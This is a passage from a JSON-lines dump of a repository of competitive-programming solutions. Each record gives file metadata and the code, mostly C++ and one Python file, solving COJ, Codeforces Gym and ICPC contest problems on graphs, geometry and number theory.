s;\r\n\t\ta = sol = 0;\r\n\t\tfor (int i = 0; s[i]; i++) {\r\n\t\t\tif (mark[s[i]] == 1) {\r\n\t\t\t\ta--;\r\n\t\t\t\tmark[s[i]] = 0;\r\n\t\t\t}\r\n\t\t\telse if (mark[s[i]] == 2) {\r\n sol++;\r\n mark[s[i]] = 0;\r\n\t\t\t}\r\n\t\t\telse if (a < b) {\r\n\t\t\t\ta++;\r\n\t\t\t\tmark[s[i]] = 1;\r\n\t\t\t}\r\n\t\t\telse mark[s[i]] = 2;\r\n\t\t}\r\n\t\tif (sol == 0) cout << \"All customers tanned successfully.\\n\";\r\n\t\telse cout << sol << \" customer(s) walked away.\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4031936228275299, "alphanum_fraction": 0.42514970898628235, "avg_line_length": 19.782608032226562, "blob_id": "e57fea42d0c8060ebf72bc1b44bf42dafd332f5f", "content_id": "b54efa1c22e7f574ed6e9a388dd842ded651050c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 501, "license_type": "no_license", "max_line_length": 51, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p2264-Accepted-s651620.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint n, m, f, c, st, p[1005];\r\nchar t[1005];\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.tie(0);\r\n\tcin >> n >> m >> f >> c >> st;\r\n\tfor (int i = 1; i <= st; i++) cin >> t[i] >> p[i];\r\n\tfor (int i = st; i; i--) {\r\n\t\tif (t[i] == 'E') c -= p[i];\r\n\t\telse if (t[i] == 'W') c += p[i];\r\n\t\telse if (t[i] == 'N') f += p[i];\r\n\t\telse f -= p[i];\r\n\t}\r\n\tcout << f << \" \" << c << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3798266351222992, "alphanum_fraction": 0.42750197649002075, "avg_line_length": 20.508474349975586, "blob_id": "7939dcdcffb74fd91945eae6039e3c8c2b6fac98", "content_id": "588eb2f28cd9db46fab6fefc59ee3114708096e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2538, "license_type": "no_license", "max_line_length": 76, "num_lines": 118, "path": "/Codeforces-Gym/101173 - 2016-2017 ACM-ICPC, Central Europe Regional Contest (CERC 16)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Central Europe Regional Contest (CERC 16)\n// 101173C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(13);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint n;\n\tstring s;\n\tcin >> n >> s;\n\tbool allT = true;\n\tfor (int i = 0; i < n; i++) {\n\t\tif (s[i] != 'T') {\n\t\t\tallT = false;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (allT) {\n double ans = 2 * n + 1;\n\t\tcout << fixed << ans << \"\\n\";\n\t\treturn 0;\n\t}\n\tif (s[0] == 'S' && s[n - 1] == 'S') {\n\t double ans = 2 * n + 2;\n\t\tcout << fixed << ans << \"\\n\";\n\t\treturn 0;\n\t}\n\tconst double r = 1.0 / 2.0;\n const double h = sqrt(3.0) / 2.0;\n\tif (s[0] == 'C' && s[n - 1] == 'C') {\n double ans = 2.0 * ((double)(n - 1)) + 2.0 * M_PI * r;\n\t\tcout << fixed << ans << \"\\n\";\n\t\treturn 0;\n\t}\n\tif ((s[0] == 'C' && s[n - 1] == 'S') || (s[0] == 'S' && s[n - 1] == 'C')) {\n double ans = 2.0 * ((double)n - 1.0) + 2.0 + M_PI * r;\n\t\tcout << fixed << ans << \"\\n\";\n\t\treturn 0;\n\t}\n\n\tdouble ans = 0.0;\n\tint pos1 = -1;\n\tif (s[0] == 'T') {\n\t\tint pos = 0;\n\t\twhile (s[pos] == 'T') {\n\t\t\tpos++;\n\t\t}\n\t\tpos1 = pos;\n\t\tif (s[pos] == 'C') {\n\t\t\tdouble dx = pos;\n\t\t\tdouble dy = h - r;\n\t\t\tdouble d = sqrt(dx * dx + dy * dy);\n\t\t\tdouble a1 = atan(dy / dx);\n\t\t\tdouble a2 = acos(r / d);\n\t\t\tdouble a = M_PI / 2.0 - a1 - a2;\n\t\t\tdouble d2 = sqrt(d * d - r * r);\n\t\t\tans += d2 + a * r;\n\t\t} else {\n\t\t\tdouble dy = 1.0 - h;\n\t\t\tdouble dx = pos - 0.5;\n\t\t\tdouble d = sqrt(dx * dx + dy * dy);\n\t\t\tans += d + 0.5;\n\t\t}\n\t\tif (s[n - 1] != 'T') {\n\t\t\tans += (double)(n - 1 - pos);\n\t\t\tif (s[n - 1] == 'C') {\n\t\t\t\tans += M_PI * r;\n\t\t\t} else {\n\t\t\t\tans += 2.0;\n\t\t\t}\n\t\t\tans += (double)n - 1.0 + 1.5;\n\t\t\tcout << fixed << ans << \"\\n\";\n\t\t\treturn 0;\n\t\t}\n\t}\n\tint pos2 = -1;\n\tif (s[n - 1] == 'T') {\n\t\tint pos = n - 1;\n\t\twhile (s[pos] == 'T') {\n\t\t\tpos--;\n\t\t}\n\t\tpos2 = pos;\n\t\tif (s[pos] == 'C') {\n\t\t\tdouble dx = n - 1 - pos;\n\t\t\tdouble dy = h - r;\n\t\t\tdouble d = sqrt(dx * dx + dy * dy);\n\t\t\tdouble a1 = atan(dy / dx);\n\t\t\tdouble a2 = acos(r / d);\n\t\t\tdouble a = M_PI / 2.0 - a1 - a2;\n\t\t\tdouble d2 = sqrt(d * d - r * r);\n\t\t\tans += d2 + a * r;\n\t\t} else {\n\t\t\tdouble dy = 1.0 - h;\n\t\t\tdouble dx = (double)n - 1.0 - (double)pos - 0.5;\n\t\t\tdouble d = sqrt(dx * dx + dy * dy);\n\t\t\tans += d + 0.5;\n\t\t}\n\t\tif (s[0] != 'T') {\n\t\t\tans += (double)pos;\n\t\t\tif (s[0] == 'C') {\n\t\t\t\tans += M_PI * r;\n\t\t\t} else {\n\t\t\t\tans += 2.0;\n\t\t\t}\n\t\t\tans += (double)n - 1.0 + 1.5;\n\t\t\tcout << fixed << ans << \"\\n\";\n\t\t\treturn 0;\n\t\t}\n\t}\n\tans += (double)(pos2 - pos1);\n\tans += (double)(n + 2.0);\n\tcout << fixed << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4112512171268463, "alphanum_fraction": 0.4238603413105011, "avg_line_length": 19.040817260742188, "blob_id": "1b5e04fdeb4ef3703c69b0dd0c7fe33fdb9feab3", "content_id": "51a349e3e20fa3a570dec1522062a4ae95fe7657", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2062, "license_type": "no_license", "max_line_length": 97, "num_lines": 98, "path": "/Caribbean-Training-Camp-2017/Contest_6/Solutions/D6.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef pair<int,int> par;\r\ntypedef pair<par,int> kk;\r\n\r\nconst int MAXN = 100100;\r\n\r\nvector<par> g[MAXN];\r\n\r\nint ini[MAXN], fin[MAXN], tini[MAXN], tfin[MAXN];\r\n\r\nint mn_lwb[MAXN];\r\n\r\nmap<par,kk> dic;\r\n\r\nint a, b, ta, tb, lwb_tb;\r\n\r\nbool dfs( int nod, int e, int lwb_father ){\r\n int lwb = lower_bound( g[nod].begin() , g[nod].end() , par( tfin[e] , 0 ) ) - g[nod].begin();\r\n\r\n if( lwb >= mn_lwb[nod] ){\r\n return false;\r\n }\r\n\r\n if( nod == b && lwb_tb >= lwb ){\r\n lwb_tb = lwb;\r\n dic[ par( nod , lwb ) ] = kk( par( ini[e] , lwb_father ) , e );\r\n return true;\r\n }\r\n dic[ par( nod , lwb ) ] = kk( par( ini[e] , lwb_father ) , e );\r\n\r\n int tmp = mn_lwb[nod];\r\n mn_lwb[nod] = lwb;\r\n\r\n for( int i = lwb; i < tmp; i++ ){\r\n int e2 = g[nod][i].second;\r\n\r\n if( dfs( fin[e2] , e2 , lwb ) ){\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n int n, m; cin >> n >> m;\r\n\r\n for( int i = 1; i <= m; i++ ){\r\n cin >> ini[i] >> fin[i] >> tini[i] >> tfin[i];\r\n\r\n g[ ini[i] ].push_back( par( tini[i] , i ) );\r\n }\r\n\r\n cin >> a >> b >> ta >> tb;\r\n\r\n g[b].push_back( par( tb , 0 ) );\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n sort( g[i].begin() , g[i].end() );\r\n mn_lwb[i] = g[i].size();\r\n }\r\n\r\n lwb_tb = lower_bound( g[b].begin() , g[b].end() , par( tb , 0 ) ) - g[b].begin();\r\n\r\n ini[0] = 0;\r\n tfin[0] = ta;\r\n\r\n if( !dfs( a , 0 , 0 ) ){\r\n cout << \"Impossible\\n\";\r\n return 0;\r\n }\r\n\r\n vector<int> sol;\r\n int nod = b;\r\n int lwb = lwb_tb;\r\n\r\n while( nod ){\r\n kk go = dic[ par( nod , lwb ) ];\r\n int e = go.second;\r\n sol.push_back(e);\r\n\r\n nod = go.first.first;\r\n lwb = go.first.second;\r\n }\r\n\r\n cout << sol.size()-1 << '\\n';\r\n for( int i = sol.size()-2; i >= 0; i-- ){\r\n cout << sol[i] << \" \\n\"[i==0];\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.38486841320991516, "alphanum_fraction": 0.45888158679008484, "avg_line_length": 17.42424201965332, "blob_id": "cec2139368996d4a68d34b2e21f3e3c8da4e2c6f", "content_id": "cb5863ebd268ef96015f2b70930a08fa28c37ed9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 608, "license_type": "no_license", "max_line_length": 101, "num_lines": 33, "path": "/Codeforces-Gym/101090 - 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix\n// 101090J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n long long n;\n cin >> n;\n\n if (n <= 2) {\n cout << \"0\\n\";\n return 0;\n }\n long long ans = 0;\n long long x = n / 2LL;\n if (x >= 3) {\n ans += x * (x - 1) * (x - 2) / 6LL;\n }\n long long y = (n + 1LL) / 2LL;\n if (y >= 2 && x >= 1) {\n ans += y * (y - 1) * x / 2LL;\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.37376946210861206, "alphanum_fraction": 0.3899650573730469, "avg_line_length": 17.681249618530273, "blob_id": "947ea5988977cb0d97e65eee2b5cf80e815411a0", "content_id": "90975a6569077ee58009a21517d6ce37325f120c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3149, "license_type": "no_license", "max_line_length": 73, "num_lines": 160, "path": "/COJ/eliogovea-cojAC/eliogovea-p3858-Accepted-s1120050.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 4 * 100 * 1000 + 10;\r\n\r\nint n;\r\nint x[N], y[N];\r\nint xx[N], yy[N];\r\n\r\nbool cmp_x(int a, int b) {\r\n\treturn x[a] < x[b];\r\n}\r\n\r\nbool cmp_xx(int a, int b) {\r\n\treturn xx[a] < xx[b];\r\n}\r\n\r\nbool cmp_y(int a, int b) {\r\n\treturn y[a] < y[b];\r\n}\r\n\r\nint arr[N];\r\nvector <int> g[N];\r\n\r\nint timer;\r\nint low[N];\r\nint dfs_num[N];\r\nint st[N], top;\r\nint id[N];\r\nint scc_count;\r\nint scc_size[N];\r\n\r\nvector <int> scc_g[N];\r\n\r\nvoid dfs(int u) {\r\n\tlow[u] = dfs_num[u] = timer++;\r\n\tst[top++] = u;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (dfs_num[v] == -1) {\r\n\t\t\tdfs(v);\r\n\t\t\tlow[u] = min(low[u], low[v]);\r\n\t\t} else if (id[v] == -1) {\r\n\t\t\tlow[u] = min(low[u], dfs_num[v]);\r\n\t\t}\r\n\t}\r\n\t// cerr << u << \" \" << dfs_num[u] << \" \" << low[u] << \"\\n\";\r\n\tif (dfs_num[u] == low[u]) {\r\n xx[scc_count] = x[u];\r\n yy[scc_count] = y[u];\r\n while (st[top - 1] != u) {\r\n id[st[top - 1]] = scc_count;\r\n scc_size[scc_count]++;\r\n top--;\r\n }\r\n id[st[top - 1]] = scc_count;\r\n scc_size[scc_count]++;\r\n top--;\r\n scc_count++;\r\n }\r\n}\r\n\r\ninline void SCC() {\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tid[i] = -1;\r\n\t\tdfs_num[i] = -1;\r\n\t\tlow[i] = -1;\r\n\t}\r\n\ttimer = 0;\r\n\tscc_count = 0;\r\n\ttop = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n if (dfs_num[i] == -1) {\r\n dfs(i);\r\n }\r\n\t}\r\n}\r\n\r\nint val[N];\r\n\r\nint calc(int u) {\r\n\tif (val[u] != -1) {\r\n\t\treturn val[u];\r\n\t}\r\n\tint res = scc_size[u];\r\n\tfor (int i = 0; i < scc_g[u].size(); i++) {\r\n\t\tint v = scc_g[u][i];\r\n\t\tres += calc(v);\r\n\t}\r\n\tval[u] = res;\r\n\treturn res;\r\n}\r\n\r\nset <pair <int, int> > S;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tarr[i] = i;\r\n\t}\r\n\tsort(arr, arr + n, cmp_x);\r\n\tfor (int i = n - 1; i > 0; i--) {\r\n\t\tg[arr[i]].push_back(arr[i - 1]);\r\n\t\t// cerr << arr[i] << \" -> \" << arr[i - 1] << \"\\n\";\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tarr[i] = i;\r\n\t}\r\n\tsort(arr, arr + n, cmp_y);\r\n\tfor (int i = n - 1; i > 0; i--) {\r\n\t\tg[arr[i]].push_back(arr[i - 1]);\r\n\t\t// cerr << arr[i] << \" -> \" << arr[i - 1] << \"\\n\";\r\n\t}\r\n\r\n\tSCC();\r\n\r\n\t// cerr << scc_count << \"\\n\";\r\n\t// for (int i = 0; i < n; i++) {\r\n // cerr << id[i] << \"\\n\";\r\n\t// }\r\n\t// cerr << \"\\n\\n\";\r\n\t// for (int i = 0; i < scc_count; i++) {\r\n // cerr << scc_size[i] << \" \";\r\n\t// }\r\n\t// cerr << \"\\n\";\r\n\t// return 0;\r\n\r\n\tfor (int i = 0; i < scc_count; i++) {\r\n arr[i] = i;\r\n\t}\r\n\r\n\tsort(arr, arr + scc_count, cmp_xx);\r\n\r\n val[ arr[0] ] = scc_size[ arr[0] ];\r\n for (int i = 1; i < scc_count; i++) {\r\n val[ arr[i] ] = val[ arr[i - 1] ] + scc_size[ arr[i] ];\r\n }\r\n\t// for (int u = 0; u < n; u++) {\r\n\t\t// for (int j = 0; j < g[u].size(); j++) {\r\n\t\t\t// int v = g[u][j];\r\n\t\t\t// if (id[u] != id[v] && S.find(make_pair(id[i], id[v])) == S.end()) {\r\n // S.insert(make_pair(id[u], id[v]));\r\n\t\t\t\t// scc_g[id[u]].push_back(id[v]);\r\n\t\t\t// }\r\n\t\t// }\r\n\t// }\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcout << val[id[i]] - 1 << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4031936228275299, "alphanum_fraction": 0.42980706691741943, "avg_line_length": 19.589040756225586, "blob_id": "7585bd05ce8fcdf597cd801cbab755e23665d0f9", "content_id": "eac9102f054dad0028a56e3b45b90accc14de564", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1503, "license_type": "no_license", "max_line_length": 59, "num_lines": 73, "path": "/Codeforces-Gym/100112 - 2012 Nordic Collegiate Programming Contest (NCPC)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012 Nordic Collegiate Programming Contest (NCPC)\n// 100112G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nint w, n;\nvector <pair <pair <LL, LL>, LL> > v;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> w >> n;\n\tLL x1, y1, x2, y2, dx, dy;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> x1 >> y1 >> x2 >> y2;\n\t\tdx = x1 - x2;\n\t\tdy = y1 - y2;\n\t\tLL a = -dy;\n\t\tLL b = dx;\n\t\tLL c = -(a * x1 + b * y1);\n\t\tif (a < 0LL) {\n\t\t\ta = -a; b = -b; c = -c;\n\t\t} else if (a == 0LL) {\n\t\t\tif (b < 0LL) {\n\t\t\t\tb = -b; c = -c;\n\t\t\t} else if (b == 0LL && c < 0LL) {\n\t\t\t\tc = -c;\n\t\t\t}\n\t\t}\n\t\t//cout << a << \" \" << b << \" \" << c << \"\\n\";\n\t\tLL g = __gcd(abs(a), __gcd(abs(b), abs(c)));\n\t\ta /= g;\n\t\tb /= g;\n\t\tc /= g;\n\t\tv.push_back(make_pair(make_pair(a, b), c));\n\t\t//cout << i << \" \" << a << \" \" << b << \" \" << c << \"\\n\";\n\t}\n\tsort(v.begin(), v.end());\n\tv.erase(unique(v.begin(), v.end()), v.end());\n\tint t = 0;\n\tLL a = v[0].first.first;\n\tLL b = v[0].first.second;\n\tLL g = __gcd(abs(a), abs(b));\n\ta /= g;\n\tb /= g;\n\tbool p = true;\n\tfor (int i = 1; i < v.size(); i++) {\n\t\tg = __gcd(abs(v[i].first.first), abs(v[i].first.second));\n\t\tv[i].first.first /= g;\n\t\tv[i].first.second /= g;\n\t\tif (v[i].first.first != a || v[i].first.second != b) {\n p = false;\n break;\n\t\t}\n\t}\n\tif (p) {\n\t\tt = v.size() + 1;\n\t} else {\n\t\tt = 2 * v.size();\n\t}\n\t//cout << t << \"\\n\";\n\tif (t >= w) {\n\t\tcout << \"0\\n\";\n\t} else {\n\t\tint ans = 1;\n\t\twhile (2 * (v.size() + ans) < w) ans++;\n\t\tcout << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.4375, "alphanum_fraction": 0.4518229067325592, "avg_line_length": 15.066666603088379, "blob_id": "fe1e5485a8a81e25e0f62f0713cba7d8dd83a9c9", "content_id": "7c1043504eaf7cc14c05bac3475750d70e329506", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 768, "license_type": "no_license", "max_line_length": 40, "num_lines": 45, "path": "/COJ/eliogovea-cojAC/eliogovea-p3081-Accepted-s738423.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 205;\r\n\r\nint n, m, col[N];\r\nvector<int> g[N];\r\n\r\nbool ans;\r\n\r\nvoid check(int u, int c) {\r\n\tif (ans == false) return;\r\n\tcol[u] = c;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (col[v] == c) {\r\n\t\t\tans = false;\r\n\t\t\tbreak;\r\n\t\t} else if (col[v] == -1) {\r\n\t\t\tcheck(v, 1 - c);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\twhile (cin >> n && n) {\r\n\t\tcin >> m;\r\n\t\tans = true;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tg[i].clear();\r\n\t\t\tcol[i] = -1;\r\n\t\t}\r\n\t\tfor (int i = 0, a, b; i < m; i++) {\r\n\t\t\tcin >> a >> b;\r\n\t\t\tg[a].push_back(b);\r\n\t\t\tg[b].push_back(a);\r\n\t\t}\r\n\t\tcheck(0, 0);\r\n\t\tif (ans) cout << \"BICOLORABLE.\\n\";\r\n\t\telse cout << \"NOT BICOLORABLE.\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4787735939025879, "alphanum_fraction": 0.5188679099082947, "avg_line_length": 16.434782028198242, "blob_id": "c1efbe56469d52d0ec76c3d02732d36459a8a682", "content_id": "a96f8cdbcf272c4bced7806e1d9136c870f8a57b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 424, "license_type": "no_license", "max_line_length": 50, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p3690-Accepted-s1009585.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double PI = 3.1415927;\r\n\r\ndouble solve(double r, double n) {\r\n\tdouble angle = 2.0 * PI / n;\r\n\treturn r * r * cos(angle) * tan(angle / 2.0) * n;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(13);\r\n\tlong long r, n;\r\n\twhile (cin >> r >> n) {\r\n\t\tif (r == 0 && n == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcout << fixed << solve(r, n) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.44672897458076477, "alphanum_fraction": 0.474766343832016, "avg_line_length": 15.800000190734863, "blob_id": "e0678a1ee9a70657640d974d2b6036301bf05ccd", "content_id": "40c59d1fc9d312a2971a99da4b786d0dfa720fba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1070, "license_type": "no_license", "max_line_length": 48, "num_lines": 60, "path": "/COJ/eliogovea-cojAC/eliogovea-p1424-Accepted-s548807.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<string.h>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint n,arr[20];\r\ndouble memo[1<<16];\r\n\r\ndouble area(int a, int b, int c)\r\n{\r\n\tif(2.0*max(a,max(b,c)) >= a+b+c)return 0;\r\n\r\n\tdouble aa=double(a);\r\n\tdouble bb=double(b);\r\n\tdouble cc=double(c);\r\n\tdouble sp=0.5*(aa+bb+cc);\r\n\r\n\treturn sqrt(sp*(sp-aa)*(sp-bb)*(sp-cc));\r\n}\r\n\r\ndouble DP(int bit_mask)\r\n{\r\n\r\n\tif(memo[bit_mask] > -0.5)\r\n\t\treturn memo[bit_mask];\r\n\r\n\tdouble aux=0.0;\r\n\r\n\tfor(int i=0; i<n; i++)\r\n\t\tif(!(bit_mask & (1<<i)))\r\n\t\t{\r\n\t\t\tfor(int j=i+1; j<n; j++)\r\n\t\t\t\tif(!(bit_mask & (1<<j)))\r\n\t\t\t\t{\r\n\t\t\t\t\tfor(int k=j+1; k<n; k++)\r\n {\r\n if(!(bit_mask & (1<<k)))\r\n\t\t\t\t\t\t\taux=max(aux,area(arr[i],arr[j],arr[k])\r\n\t\t\t\t\t\t\t\t\t\t+DP(bit_mask|(1<<i)|(1<<j)|(1<<k)));\r\n }\r\n\t\t\t\t}\r\n\t\t}\r\n\treturn memo[bit_mask]=aux;\r\n}\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%d\",&n)==1)\r\n\t{\r\n\r\n\t\tmemset(arr,0,sizeof arr);\r\n\t\tmemset(memo,-1.0,sizeof memo);\r\n\r\n\t\tfor(int i=0; i<n; i++)\r\n\t\t\tscanf(\"%d\",&arr[i]);\r\n\r\n\t\tprintf(\"%.4lf\\n\",DP(0));\r\n\t}\r\n}\r\n\r\n" }, { "alpha_fraction": 0.3893129825592041, "alphanum_fraction": 0.4541984796524048, "avg_line_length": 23.952381134033203, "blob_id": "412cae8b25d4e911863a4580f39bf68a3ad771ac", "content_id": "06fa6c7fd158bed9fc9323058e98ec32cd963ac5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 524, "license_type": "no_license", "max_line_length": 101, "num_lines": 21, "path": "/Codeforces-Gym/101090 - 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix\n// 101090B\n\nfrom decimal import *\n\ndef main():\n n, k = map(int, input().split())\n getcontext().prec = k + 20\n s = str(Decimal(n).sqrt())\n if s.find('.') == -1:\n ans = s + '.' + '0' * k\n else:\n a, b = s.split('.')\n if len(b) >= k:\n ans = a + '.' + b[0 : k]\n else:\n ans = a + '.' + b + [0] * (k - len(b))\n print(ans)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.3685208559036255, "alphanum_fraction": 0.3925410807132721, "avg_line_length": 20.927536010742188, "blob_id": "3a3d0d29fc2bcbddd9a35ae130fffb0943569a3f", "content_id": "b78e4f9d8f21300a3b17b5a4c4967c7fff699644", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1582, "license_type": "no_license", "max_line_length": 78, "num_lines": 69, "path": "/COJ/eliogovea-cojAC/eliogovea-p2728-Accepted-s677850.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2728.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <algorithm>\r\n#include <set>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst int MAXN = 100005;\r\n\r\nLL tc, n, a[MAXN], dp[20][MAXN], Log[MAXN], ans;\r\nset<LL> S[MAXN];\r\nset<LL>::iterator it;\r\n\r\nvoid build() {\r\n\tfor (int i = 1; (1 << i) - 1 <= n; i++)\r\n\t\tfor (int j = 1 << i; j <= n; j++) {\r\n\t\t\tdp[i][j] = __gcd(dp[i - 1][j], dp[i - 1][j - (1 << (i - 1))]);\r\n\t\t\tS[j].insert(dp[i][j]);\r\n\t\t}\r\n}\r\n\r\ninline LL query(int lo, int hi) {\r\n\tint l = Log[hi - lo + 1];\r\n\treturn __gcd(dp[l][hi], dp[l][lo + (1 << l) - 1]);\r\n}\r\n\r\nint main() {\r\n\tLog[1] = 0;\r\n\tfor (int i = 2; i <= MAXN; i++)\r\n\t\tLog[i] = Log[i / 2LL] + 1LL;\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tans = 0;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tS[i].clear();\r\n\t\t\tcin >> a[i];\r\n\t\t\tdp[0][i] = a[i];\r\n\t\t\tS[i].insert(a[i]);\r\n\t\t}\r\n\t\tbuild();\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tfor (it = S[i].begin(); it != S[i].end(); it++) {\r\n\t\t\t\tLL x = *it;\r\n\t\t\t\tint lo = 1, hi = i, mid;\r\n\t\t\t\tLL fmid;\r\n\t\t\t\twhile (lo < hi) {\r\n\t\t\t\t\tmid = (lo + hi) >> 1;\r\n\t\t\t\t\tfmid = query(mid, i);\r\n\t\t\t\t\tif (fmid >= x) hi = mid;\r\n\t\t\t\t\telse lo = mid + 1;\r\n\t\t\t\t}\r\n\t\t\t\tLL v = x * (LL)(i - hi + 1LL);\r\n\t\t\t\tif (v > ans) ans = v;\r\n\t\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3229813575744629, "alphanum_fraction": 0.37784677743911743, "avg_line_length": 17.226415634155273, "blob_id": "bbb78c4a4b18fb6048463e449728976fd112166c", "content_id": "1799234cb618f421f2b143a11e3259c936d2e8fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 966, "license_type": "no_license", "max_line_length": 69, "num_lines": 53, "path": "/Codeforces-Gym/101104 - 2016-2017 CT S03E04: Codeforces Trainings Season 3 Episode 4/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E04: Codeforces Trainings Season 3 Episode 4\n// 101104I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 2000;\n\nint ab[MAXN][MAXN];\nint a[MAXN], b[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n\n while( tc-- ){\n ll d, n; cin >> d >> n;\n\n for( int i = 0; i < d; i++ ){\n for( int j =0 ; j < d; j++ ){\n ab[i][j] = 0;\n }\n\n a[i] = b[i] = 0;\n }\n\n int sol = 